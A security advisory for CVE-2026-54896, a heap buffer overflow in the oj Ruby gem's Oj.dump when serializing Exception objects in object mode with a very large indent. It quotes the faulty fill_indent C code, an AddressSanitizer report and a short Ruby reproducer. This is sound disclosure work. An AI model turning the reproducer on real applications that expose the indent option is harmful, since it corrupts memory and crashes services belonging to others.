CVE-2026-54896

### Summary `Oj.dump` in object mode is vulnerable to a heap buffer overflow when serializing Exception objects with a large `:indent` value. The serializer allocates a buffer sized for the object's attributes but does not account for the indent bytes added on each write. With `indent: 5000`, the accumulation of 5,000-byte indent strings overflows the 13,150-byte heap allocation, corrupting adjacent heap memory. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/dump.h` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/dump.h`, line 75–77: ```c static void fill_indent(Out out, int depth) { if (0 < out->opts->indent) { memset(out->buf + out->cur, ' ', (size_t)(out->opts->indent * depth)); ``` When dumping an Exception object in `:object` mode, `dump_obj_attrs` calls `fill_indent` repeatedly for each attribute. The buffer is pre-allocated based on the serialized content but not the indentation overhead. With `indent: 5000` the indent block for a nested object exceeds the remaining buffer space, producing a heap-buffer-overflow of size 5,000 at the end of the allocated region. ASAN report: ``` ==101656==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x527000022c5e WRITE of size 5000 at 0x527000022c5e thread T0 #0 memset #1 fill_indent /ext/oj/dump.h:77 #2 dump_obj_attrs /ext/oj/dump_object.c:552 #3 dump_obj /ext/oj/dump_object.c:80 #4 oj_dump_obj_val /ext/oj/dump_object.c:708 #5 oj_dump_obj_to_json_using_params /ext/oj/dump.c:817 #6 dump_body /ext/oj/oj.c:1429 #7 dump /ext/oj/oj.c:1480 0x527000022c5e is located 0 bytes after 13150-byte region [0x52700001f900, 0x527000022c5e) ``` ### Reproduce ```ruby require "oj" obj = Oj.load('{"^o":"RuntimeError"}', mode: :object) Oj.dump(obj, mode: :object, indent: 5000) ``` ### Workarounds This is at the discretion of the developer and not a public facing option so the workaround is the develop should not use extreme indents and should not offer the option for users to dump Ruby data with unlimited indentation size.